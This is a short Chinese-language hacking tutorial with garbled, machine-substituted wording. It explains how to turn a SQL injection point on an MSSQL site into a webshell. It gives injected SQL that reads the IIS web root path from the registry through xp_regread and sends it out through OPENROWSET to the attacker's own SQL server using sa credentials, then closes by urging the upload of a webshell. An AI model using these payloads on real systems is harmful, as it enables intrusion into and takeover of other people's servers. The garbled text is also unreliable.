渗透顶用openrowset搞shell的要领
获得SQL注入点,首先想到的是BACKUP WEBSHELL,扔在NB里跑一圈,发明屏蔽了SQL错误信息,得不到物理路径,那还写个PP马了.
遐想到一个权限不是很高的呼吁openrowset,举办跨库处事器查询,就是把一个SQL呼吁发送到长途数据库,然后看返回的功效,可是要启动事件跟踪!我们可以把网站信息写入数据库,然后%$^%$@#$@^%$~
首先在本身呆板成立SQL数据库
然后在对方呆板上成立个表 create table [dbo].[fenggou]([cha8][char](255))--
在对方执行 DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', 'https://www.jb51.net/' ,@result output insert into fenggou (cha8) values('select a.* FROM OPENROWSET(''SQLOLEDB'',''本身的IP'';''sa'';''你的暗码'', ''select * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''')AS a');--
这样fenggou这个内外就会有这样一笔记录select a.* FROM OPENROWSET('SQLOLEDB','本身的IP';'sa';'你的暗码', 'select * FROM pubs.dbo.authors where au_fname=''D:\WEB,,1''')AS a
不消说,''D:\WEB"就是从注册内外读出的物理路径拉.然后执行DECLARE @a1 char(255) set @a1=(select cha8 FROM fenggou) exec (@a1);--
便是执行了select a.* FROM OPENROWSET('SQLOLEDB','本身的IP';'sa';'你的暗码', 'select * FROM pubs.dbo.authors where au_fname=''D:\WEB,,1''')AS a
OK,这时你在你呆板上SQL事件追踪器上就会显示select * FROM pubs.dbo.authors where au_fname='D:\WEB,,1'
哇 哈哈哈哈哈 物理路径得手了 写小马传大马吧~